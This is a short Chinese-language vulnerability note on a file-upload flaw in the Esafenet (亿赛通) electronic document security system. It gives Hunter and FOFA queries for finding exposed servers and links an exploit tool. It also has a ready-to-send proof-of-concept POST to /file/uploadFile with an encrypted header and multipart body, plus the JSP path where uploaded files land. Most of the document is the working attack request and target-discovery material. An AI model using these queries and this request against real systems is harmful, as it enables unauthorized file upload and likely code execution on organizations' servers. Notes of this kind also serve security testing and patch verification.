亿赛通电子文档uploadFile接口文件上传漏洞.md

亿赛通电子文档uploadFile接口文件上传漏洞

Hunter语法：

web.icon=="9fd216c3e694850445607451fe3b3568"

fofa

app="亿赛通-电子文档安全管理系统"

工具

https://github.com/0xf4n9x/CDGXStreamDeserRCE

将head 中的Content 解密

poc

POST /file/uploadFile HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 143
Content: MGIFOACOKLJAHOGCPPOBDFLGJFPACJJKLFGFOBDNHAGLEDGALNKAEHDLMEOODCBFDIMEFNGHCMGBPABDLPPCHCLMAELIDDCLOGNPOCGHIEFJHIOEIIPPJBCIFCPDOKIOMKPPDGPHCALHOJNNBLJBHGLMPBFICDGGMMOLGLGMIHOOFLHLBEHNIHOPOEKKIPHCMJAOMGMNPFINKHMPBFOJBJPNLNKILIOCLAEPIKJDNOJHELELCOLLAKKAPFFPFGPMOLGPBDAHIHKEFDIFPDMDKDDKNMOGMLDEMBEAMFOOCECFKCKHJBDDMIENNFFMABEFNKCCIAIJIKGDAOGCDMNCNEGOGBNJIJFBBEBODAPNLOFJMOGCJGMOCHNJALDDDKLPGM
Content-Type: multipart/form-data; boundary=0ac445a70ef9526aeb69efb4569810d6
Accept-Encoding: gzip, deflate, br
Connection: close

--0ac445a70ef9526aeb69efb4569810d6
Content-Disposition: form-data; name="file"; filename="file"

123
--0ac445a70ef9526aeb69efb4569810d6--

文件上传地址 http://ip:/CDGServer3/3g/X.jsp